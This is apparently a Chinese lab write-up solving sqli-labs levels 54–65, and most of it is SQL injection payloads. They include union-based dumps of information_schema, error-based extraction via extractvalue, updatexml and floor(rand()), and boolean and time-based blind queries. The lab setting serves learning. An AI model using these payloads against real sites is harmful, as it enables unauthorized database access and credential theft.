sql-labs闯关54~65:
诚信自由自由诚信民主诚信平等诚信富强民主友善爱国法治友善自由友善爱国诚信富强民主友善爱国法治诚信民主和谐诚信民主诚信民主
复习笔记1
内容:
这些关卡的数据表名、字段名、数据都会改变,所以不会特意使用代码块,会将代码嵌入说明中
- sql-labs第54关(GET请求-挑战-联合查询-只允许10次-变化1)
- sql-labs第55关(GET请求-挑战-联合查询-只允许14次-变化2)
- sql-labs第56关(GET请求-挑战-联合查询-只允许14次-变化3)
- sql-labs第57关(GET请求-挑战-联合查询-只允许14次-变化4)
- sql-labs第58关(GET请求-挑战-双查询-只允许5次-变化1)
- sql-labs第59关(GET请求-挑战-双查询-只允许5次-变化2)
- sql-labs第60关(GET请求-挑战-双查询-只允许5次-变化3)
- sql-labs第61关(GET请求-挑战-双查询-只允许5次-变化4)
- sql-labs第62关(GET请求-挑战-盲注-只允许130次-变化1)
- sql-labs第63关(GET请求-挑战-盲注-只允许130次-变化2)
- sql-labs第64关(GET请求-挑战-盲注-只允许130次-变化3)
- sql-labs第65关(GET请求-挑战-盲注-只允许130次-变化4)
1.sql-labs第54关
欢迎界面换新了,从黄字来看,需要输入id来闯关,蓝字则提示了,只有10次尝试,次数达到限制则会随机重置表名
但是下面还有个文本框,先在文本框内随便输入,提交。我可以确定了,这个就是骗人的
在url后输入?id=1
,查看正常输入时页面反馈
输入?id=1 and 1=2
,可以确定是字符型
输入?id=1'
输入?id=1'--+
尝试闭合,如果不行再尝试?id=1)'--+
或?id=1)''--+
,很幸运,这关没有变形
跳过输入?id=1 order by 3--+
节约机会,直接输入?id=-1' union select 1,2,3--+
,查看显示位
输入?id=-1' union select 1,database(),version()--+
爆库,库名再也不是熟悉的security了,那也就意味着,数据表名字段之类的可能都有变化
输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
爆表,结果这张表名看着好杂乱
我又怕表名被加密了,于是用常用的加密方式来测试,没发现有情况,可能表名就这么有特色
抱着试试看的态度把那串疑似加密过的数据表名输入,尝试爆表,输入?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='lbrygvpgxk'--+
这么凌乱的表名居然是真的,符合条件的字段一共有4个,从字段名来看,id
应该就是我们所熟悉的id,secret_TWXA
应该是指密码,账号的话应该是在sessid
和tryy
之间,具体是哪个,我需要尝试
首先,查询id
和sessid
,输入?id=-1' union select 1,group_concat(id),group_concat(sessid) from lbrygvpgxk--+
其次,查询secret_TWXA
和tryy
,输入?id=-1' union select 1,group_concat(secret_TWXA),group_concat(tryy) from lbrygvpgxk--+
经过对比参数值,我认为账号名字段就是sessid
,密码是secret_8P2L
,tryy
应该就是登录次数,id
就是普通id
登录后台进行查看,除了tryy
具体含义,基本能确定账号和密码
输入?id=-1' union select 1,group_concat(sessid),group_concat(secret_TWXA) from lbrygvpgxk--+
爆数据,第一次做没经验,忘了只有10次机会,偶然发现在第11次查询之后数据表就会重置,也就是说,我可以查11次,11次之后就数据表重新随机生成,难怪数据表名这么有个性
登录后台,数据表真的改了,庆幸我没输错,不然我会一直搁着卡bug,这里可以看到tryy值是0,这几个参数含义我居然猜对了,不愧是我
2.sql-labs第55关
从欢迎界面可以知道,允许尝试14次,输入?id=1
输入?id=1 and 1=2
确定类型是数值型
那么输入?id=-1 union select 1,2,3--+
,查看回显位,是我想当然了,这关虽然这是数值型,但是还是存在别的闭合点,人麻了。
新知识:即使是数值型也可以添加闭合点,也就是说我前面的步骤少了一步,但不影响做题,懒得去逐个改了,不过我会在最终的思维导图里添加注释
既然不是字符型,那么单引号判断法和双引号判断法应该是用不上的,那就只剩括号了,先用括号试探一下,输入?id=-1) union select 1,2,3--+
成功闭合
输入?id=-1) union select 1,database(),version()--+
爆库和版本
输入?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
爆表,这次随机表名为‘kcpomoak73’
输入?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='kcpomoak73'--+
爆字段
输入?id=-1) union select 1,group_concat(sessid),group_concat(secret_8NDU) from kcpomoak73--+
爆数据
3.sql-labs第56关
温馨提醒,上关做完之后,记得点击“reset the challenge”
在url后输入?id=1
输入?id=1 and 1=2
确定类型不是数值型
输入?id=1'
,可以确定闭合点与'
有关
输入?id=1'--+
尝试闭合,闭合失败再添加括号
输入?id=1')--+
输入?id=-1') union select 1,database(),version()--+
爆库
输入?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
爆表
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='i3kyp1zhxp'--+
爆字段
?id=-1') union select 1,group_concat(sessid),group_concat(secret_V4RW) from i3kyp1zhxp--+
爆数据
4.sql-labs第57关
在url后输入?id=1
,查看正常输入时页面反馈
输入?id=1 and 1=2
,可以确定是字符型
输入?id=1'
,可以确定闭合点跟'
没关系
输入?id=1"
输入?id=1"--+
尝试闭合,闭合成功,我不用再尝试括号了
直接输入?id=-1"union select 1,database(),version()--+
爆库
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
爆表
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='58dfsy83l6'--+
爆字段
?id=-1" union select 1,group_concat(sessid),group_concat(secret_M6VT) from 58dfsy83l6--+
爆数据
5.sql-labs第58关
这关好抠门,就给5次机会,不出意外的话,我会重置多次,输入?id=1
输入?id=1 and 1=2
判断出类型是字符型
输入?id=1'
判断是否与'
有关,出现报错信息,确定闭合点就是'
输入?id=1'--+
尝试闭合,试探一下注释符能否正确使用
输入?id=0' union select 1,2,3--+
尝试像上几关一样用联合注入,然而根本没有出现我想要的反馈界面,那就只能用报错注入尝试了
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,database()))--+
爆库
输入?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
爆表
输入?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='tx4ilbgcr7')))--+
爆字段
没有成功,页面提示回显数据超过一行,第一感觉就是,是不是记录多的问题
用?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select count(sessid) from tx4ilbgcr7)))--+
统计了记录数,就一条,也没哪里有问题啊
尝试不使用group_concat函数将结果组合,?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select sessid from tx4ilbgcr7)))--+
结果成功爆出数据 -_-
6.sql-labs第59关
又是抠门的5,输入?id=1
输入?id=1 and 1=2
类型是数字型
输入?id=1 --+
,先判断是否存在闭合符号,纯净版无闭合
输入?id=-1 union select 1,2,3--+
判断是否可用union联合注入,看起来不可以,只能用盲注了
输入?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+
尝试用报错注入来爆库,成功了
点击重置,再爆表
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
爆表
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='h0f7jl3wq5'),0x7e))--+
爆字段
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(sessid) from h0f7jl3wq5),0x7e))--+
爆数据
7.sql-labs第60关
在url后输入?id=1
输入?id=1 and 1=2
确定类型是字符型
输入?id=1'
,可以确定闭合点与'
无关
输入?id=1"
根据报错信息可以确定闭合点是")
输入?id=1")--+
成功闭合
输入?id=-1") union select 1,2,3--+
可惜还是不行
输入?id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)--+
爆库
输入?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+
爆表
输入?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='02qxrg5nyz'),0x7e),1)--+
爆字段
输入?id=1") and updatexml(1,concat(0x7e,(select group_concat(sessid) from 02qxrg5nyz),0x7e),1)--+
爆数据
8.sql-labs第61关
麻了,怎么又是只有5次,在url后输入?id=1
,查看正常输入时页面反馈
输入?id=1 and 1=2
,可以确定是字符型
输入?id=1'
,通过报错信息,可以确定闭合点是'))
输入?id=1'))--+
闭合
输入?id=1')) and extractvalue(1,concat(0x5e,database(),0x5e))--+
爆库,重置
再输入?id=1')) and extractvalue(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e))--+
爆新表
再输入?id=1')) and extractvalue(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='zq0a7yoz5c'),0x5e))--+爆字段
最后,输入?id=1')) and extractvalue(1,concat(0x5e,(select group_concat(sessid) from zq0a7yoz5c),0x5e))--+
爆数据
9.sql-labs第62关
突然慷慨,有了130次机会,心里隐隐有不好的预感,输入?id=1
输入?id=1 and 1=2
,可以确定是字符型
输入?id=1'
那么可以确定闭合点跟'
有关系,尝试闭合
输入?id=1'--+
还是错误界面,说明闭合点不是'
输入?id=1')--+
确定闭合点就是')
输入?id=-1 ') union 1,2,3--+
union注入不能用
输入?id=1 ') and extractvalue(1,concat(0x7e,database()))--+
报错注入不能用,只能用布尔/时间注入了
以下所有代码参考第40关,详细代码请参考第8关,由于表名、列名会随机改变,我又懒得再把整套布尔注入流程来一遍 ,为了节约时间,就直接登录后台,使用,这个行为不提倡,别跟我学
输入?id=1') and length(database())>5--+
判断库长度
输入?id=1') and substr(database(),1,1)>'m' --+
判断数据库第一个字母
输入?id=1') and (select count(table_name) from information_schema.tables where table_schema=database())>5--+
判断数据表张数>5
输入?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+
判断第一张数据表的长度>5
输入?id=1') and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m'--+
判断第一张数据表的第一个字母>m
输入?id=1') and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='8dvsmiadsa')>5 --+
判断字段数>5
输入?id=1') and length((select column_name from information_schema.columns where table_schema=database() and table_name='8dvsmiadsa' limit 0,1))>5--+
判断第一个字段的长度
输入?id=1') and mid((select column_name from information_schema.columns where table_schema=database() and table_name='8dvsmiadsa' limit 0,1),1,1)>'m'--+
判断第一个字段第一个字母
输入?id=1') and (select count(sessid) from 8dvsmiadsa)>5--+
判断sessid记录>5
输入?id=1') and length((select sessid from 8dvsmiadsa limit 0,1))>5 --+
判断sessid第一条记录长度>5
输入?id=1') and mid((select sessid from 8dvsmiadsa limit 0,1),1,1)>'m'--+
判断第一条记录的第一个字母>m
10.sql-labs第63关
在url后输入?id=1
,查看正常输入时页面反馈
输入?id=1 and 1=2
,可以确定是字符型
输入?id=1'
那么可以确定闭合点跟'
有关系,尝试闭合
输入?id=1'--+
确定闭合点就是'
输入?id=1' and length(database())>5--+
判断库长度
输入?id=1' and substr(database(),1,1)>'m' --+
判断数据库第一个字母
输入?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5--+
判断数据表张数>5
输入?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+
判断第一张数据表的长度>5
输入?id=1' and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m'--+
判断第一张数据表的第一个字母>m
后台数据右边忘记刷新了,只需要看左半边就行
输入?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='auuj65m3lc')>5 --+
判断字段数>5
输入?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='auuj65m3lc' limit 0,1))>5--+
判断第一个字段的长度
输入?id=1' and mid((select column_name from information_schema.columns where table_schema=database() and table_name='auuj65m3lc' limit 0,1),1,1)>'m'--+
判断第一个字段第一个字母
输入?id=1' and (select count(sessid) from auuj65m3lc)>5--+
判断sessid记录>5
输入?id=1' and length((select sessid from auuj65m3lc limit 0,1))>5 --+
判断sessid第一条记录长度>5
输入?id=1' and mid((select sessid from auuj65m3lc limit 0,1),1,1)>'m'--+
判断第一条记录的第一个字母>m
11.sql-labs第64关
在url后输入?id=1
,查看正常输入时页面反馈
输入?id=1 and 1=2
,可以确定是数字型
输入?id=1--+
尝试闭合
输入?id=1)--+
尝试闭合,闭合点不是)
输入?id=1))--+
确定闭合点就是))
输入?id=1)) and if(length(database())>5,sleep(3),1)--+
判断库长度
输入?id=1)) and if(substr(database(),1,1)>'m',sleep(3),1) --+
判断数据库第一个字母
输入?id=1)) and if((select count(table_name) from information_schema.tables where table_schema=database())>5,sleep(3),1)--+
判断数据表张数>5
输入?id=1)) and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,sleep(3),1) --+
判断第一张数据表的长度>5
输入?id=1)) and if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m',sleep(3),1)--+
判断第一张数据表的第一个字母>m
输入?id=1)) and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='qv75cgizlh')>5,sleep(3),1) --+
判断字段数>5
输入?id=1)) and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='qv75cgizlh' limit 0,1))>5,sleep(3),1)--+
判断第一个字段的长度
输入?id=1)) and if(mid((select column_name from information_schema.columns where table_schema=database() and table_name='qv75cgizlh' limit 0,1),1,1)>'m',sleep(3),1)--+
判断第一个字段第一个字母
输入?id=1)) and if((select count(sessid) from qv75cgizlh)>5,sleep(3),1)--+
判断sessid记录>5
输入?id=1)) and if(length((select sessid from qv75cgizlh limit 0,1))>5,sleep(3),1) --+
判断sessid第一条记录长度>5
输入?id=1)) and if(mid((select sessid from qv75cgizlh limit 0,1),1,1)>'m',sleep(3),1)--+
判断第一条记录的第一个字母>m
12.sql-labs第65关
在url后输入?id=1
,查看正常输入时页面反馈
输入?id=1 and 1=2
,可以确定是字符型
输入?id=1'
页面依旧未改变,那就意味着闭合点跟'
没关系,再用双引号判断法尝试
输入?id=1"
,页面改变,那么可以确定闭合点跟'
有关系,尝试闭合
输入?id=1"--+
闭合点不是"
,再加个)
试试
输入?id=1")--+
确定闭合点就是")
输入?id=1") and if(length(database())>5,sleep(3),1)--+
判断库长度
输入?id=1") and if(substr(database(),1,1)>'m',sleep(3),1) --+
判断数据库第一个字母
输入?id=1") and if((select count(table_name) from information_schema.tables where table_schema=database())>5,sleep(3),1)--+
判断数据表张数>5
输入?id=1") and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,sleep(3),1) --+
判断第一张数据表的长度>5
输入?id=1") and if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m',sleep(3),1)--+
判断第一张数据表的第一个字母>m
输入?id=1") and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='r8ucam3hep')>5,sleep(3),1) --+
判断字段数>5
输入?id=1") and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='r8ucam3hep' limit 0,1))>5,sleep(3),1)--+
判断第一个字段的长度
输入?id=1") and if(mid((select column_name from information_schema.columns where table_schema=database() and table_name='r8ucam3hep' limit 0,1),1,1)>'m',sleep(3),1)--+
判断第一个字段第一个字母
输入?id=1") and if((select count(sessid) from r8ucam3hep)>5,sleep(3),1)--+
判断sessid记录>5
输入?id=1") and if(length((select sessid from r8ucam3hep limit 0,1))>5,sleep(3),1) --+
判断sessid第一条记录长度>5
输入?id=1") and if(mid((select sessid from r8ucam3hep limit 0,1),1,1)>'m',sleep(3),1)--+
判断第一条记录的第一个字母>m